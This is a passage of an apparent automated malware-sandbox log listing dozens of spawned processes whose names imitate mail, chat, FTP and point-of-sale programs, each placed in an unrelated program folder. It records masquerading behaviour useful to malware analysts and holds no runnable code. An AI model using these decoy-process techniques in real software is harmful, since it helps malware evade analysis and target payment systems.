"0x980" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows Portable Devices\\operamail.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Portable Devices\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 593 os_tid = 0x984 Process: id = "91" image_name = "outlook.exe" filename = "c:\\program files (x86)\\mozilla firefox\\outlook.exe" page_root = "0x4a5ce000" os_pid = "0x990" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\outlook.exe\" " cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 594 os_tid = 0x994 Process: id = "92" image_name = "pidgin.exe" filename = "c:\\program files (x86)\\google\\pidgin.exe" page_root = "0x4cce3000" os_pid = "0x9a0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Google\\pidgin.exe\" " cur_dir = "C:\\Program Files (x86)\\Google\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 595 os_tid = 0x9a4 Process: id = "93" image_name = "scriptftp.exe" filename = "c:\\program files\\common files\\scriptftp.exe" page_root = "0x4cbf5000" os_pid = "0x9b0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Common Files\\scriptftp.exe\" " cur_dir = "C:\\Program Files\\Common Files\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 596 os_tid = 0x9b4 Process: id = "94" image_name = "skype.exe" filename = "c:\\program files\\microsoft synchronization services\\skype.exe" page_root = "0x4c408000" os_pid = "0x9c0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Microsoft Synchronization Services\\skype.exe\" " cur_dir = "C:\\Program Files\\Microsoft Synchronization Services\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 597 os_tid = 0x9c4 Process: id = "95" image_name = "smartftp.exe" filename = "c:\\program files (x86)\\mozilla firefox\\smartftp.exe" page_root = "0x4cf1a000" os_pid = "0x9d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\smartftp.exe\" " cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 598 os_tid = 0x9d4 Process: id = "96" image_name = "thunderbird.exe" filename = "c:\\program files (x86)\\windows nt\\thunderbird.exe" page_root = "0x4ca2c000" os_pid = "0x9e0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows NT\\thunderbird.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows NT\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 599 os_tid = 0x9e4 Process: id = "97" image_name = "totalcmd.exe" filename = "c:\\program files\\windows photo viewer\\totalcmd.exe" page_root = "0x4bf3f000" os_pid = "0x9f0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Photo Viewer\\totalcmd.exe\" " cur_dir = "C:\\Program Files\\Windows Photo Viewer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 600 os_tid = 0x9f4 Process: id = "98" image_name = "trillian.exe" filename = "c:\\program files (x86)\\windows sidebar\\trillian.exe" page_root = "0x4c352000" os_pid = "0xa00" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows Sidebar\\trillian.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Sidebar\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 601 os_tid = 0xa04 Process: id = "99" image_name = "webdrive.exe" filename = "c:\\program files\\windows sidebar\\webdrive.exe" page_root = "0x4b766000" os_pid = "0xa10" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Sidebar\\webdrive.exe\" " cur_dir = "C:\\Program Files\\Windows Sidebar\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 602 os_tid = 0xa14 Process: id = "100" image_name = "whatsapp.exe" filename = "c:\\program files\\dvd maker\\whatsapp.exe" page_root = "0x4af78000" os_pid = "0xa20" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\DVD Maker\\whatsapp.exe\" " cur_dir = "C:\\Program Files\\DVD Maker\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 603 os_tid = 0xa24 Process: id = "101" image_name = "winscp.exe" filename = "c:\\program files\\windows mail\\winscp.exe" page_root = "0x4ab8a000" os_pid = "0xa30" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Mail\\winscp.exe\" " cur_dir = "C:\\Program Files\\Windows Mail\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 604 os_tid = 0xa34 Process: id = "102" image_name = "yahoomessenger.exe" filename = "c:\\program files\\microsoft office\\yahoomessenger.exe" page_root = "0x4b69d000" os_pid = "0xa40" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Microsoft Office\\yahoomessenger.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 605 os_tid = 0xa44 Process: id = "103" image_name = "active-charge.exe" filename = "c:\\program files\\dvd maker\\active-charge.exe" page_root = "0x4b0b0000" os_pid = "0xa50" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\DVD Maker\\active-charge.exe\" " cur_dir = "C:\\Program Files\\DVD Maker\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 606 os_tid = 0xa54 Process: id = "104" image_name = "accupos.exe" filename = "c:\\program files\\windows photo viewer\\accupos.exe" page_root = "0x4b0c2000" os_pid = "0xa60" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Windows Photo Viewer\\accupos.exe\" " cur_dir = "C:\\Program Files\\Windows Photo Viewer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 607 os_tid = 0xa64 Process: id = "105" image_name = "afr38.exe" filename = "c:\\program files (x86)\\windows nt\\afr38.exe" page_root = "0x49ed5000" os_pid = "0xa70" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows NT\\afr38.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows NT\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 608 os_tid = 0xa74 Process: id = "106" image_name = "aldelo.exe" filename = "c:\\program files (x86)\\windows nt\\aldelo.exe" page_root = "0x4a7e8000" os_pid = "0xa80" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows NT\\aldelo.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows NT\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 609 os_tid = 0xa84 Process: id = "107" image_name = "ccv_server.exe" filename = "c:\\program files\\common files\\ccv_server.exe" page_root = "0x4bbfb000" os_pid = "0xa90" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Common Files\\ccv_server.exe\" " cur_dir = "C:\\Program Files\\Common Files\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 610 os_tid = 0xa94 Process: id = "108" image_name = "centralcreditcard.exe" filename = "c:\\program files (x86)\\windows mail\\centralcreditcard.exe" page_root = "0x4a40e000" os_pid = "0xaa0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows Mail\\centralcreditcard.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows Mail\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 611 os_tid = 0xaa4 Process: id = "109" image_name = "creditservice.exe" filename = "c:\\program files\\microsoft synchronization services\\creditservice.exe" page_root = "0x4ca20000" os_pid = "0xab0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\" " cur_dir = "C:\\Program Files\\Microsoft Synchronization Services\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 612 os_tid = 0xab4 Process: id = "110" image_name = "edcsvr.exe" filename = "c:\\program files (x86)\\windows nt\\edcsvr.exe" page_root = "0x4b731000" os_pid = "0xac0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Windows NT\\edcsvr.exe\" " cur_dir = "C:\\Program Files (x86)\\Windows NT\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 613 os_tid = 0xac4 Process: id = "111" image_name = "fpos.exe" filename = "c:\\program files (x86)\\adobe\\fpos.exe" page_root = "0x4b844000" os_pid = "0xad0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Adobe\\fpos.exe\" " cur_dir = "C:\\Program Files (x86)\\Adobe\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 614 os_tid = 0xad4 Process: id = "112" image_name = "isspos.exe" filename = "c:\\program files (x86)\\msbuild\\isspos.exe" page_root = "0x4b556000" os_pid = "0xae0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\MSBuild\\isspos.exe\" " cur_dir = "C:\\Program Files (x86)\\MSBuild\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 615 os_tid = 0xae4 Process: id = "113" image_name = "mxslipstream.exe" filename = "c:\\program files (x86)\\internet explorer\\mxslipstream.exe" page_root = "0x4b068000" os_pid = "0xaf0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Internet Explorer\\mxslipstream.exe\" " cur_dir = "C:\\Program Files (x86)\\Internet Explorer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 616 os_tid = 0xaf4 Process: id = "114" image_name = "omnipos.exe" filename = "c:\\program files\\internet explorer\\omnipos.exe" page_root = "0x49e7a000" os_pid = "0xb00" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Internet Explorer\\omnipos.exe\" " cur_dir = "C:\\Program Files\\Internet Explorer\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 617 os_tid = 0xb04 Process: id = "115" image_name = "spcwin.exe" filename = "c:\\program files\\microsoft sql server compact edition\\spcwin.exe" page_root = "0x4a68d000" os_pid = "0xb10" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Microsoft SQL Server Compact Edition\\spcwin.exe\" " cur_dir = "C:\\Program Files\\Microsoft SQL Server Compact Edition\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 618 os_tid = 0xb14 Process: id = "116" image_name = "spgagentservice.exe" filename = "c:\\program files\\microsoft office\\spgagentservice.exe" page_root = "0x498a0000" os_pid = "0xb20" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Microsoft Office\\spgagentservice.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 619 os_tid = 0xb24 Process: id = "117" image_name = "utg2.exe" filename = "c:\\program files (x86)\\java\\utg2.exe" page_root = "0x4a9b2000" os_pid = "0xb30" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files (x86)\\Java\\utg2.exe\" " cur_dir = "C:\\Program Files (x86)\\Java\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 620 os_tid = 0xb34 Process: id = "118" image_name = "privacy.exe" filename = "c:\\program files\\dvd maker\\privacy.exe" page_root = "0x492c5000" os_pid = "0xb40" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\DVD Maker\\privacy.exe\" " cur_dir = "C:\\Program Files\\DVD Maker\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 621 os_tid = 0xb44 Process: id = "119" image_name = "word.exe" filename = "c:\\program files\\common files\\word.exe" page_root = "0x495d8000" os_pid = "0xb5c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x444" cmd_line = "\"C:\\Program Files\\Common Files\\word.exe\" " cur_dir = "C:\\Program Files\\Common Files\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 622 os_tid = 0xb60 Process: id = "120" image_name = 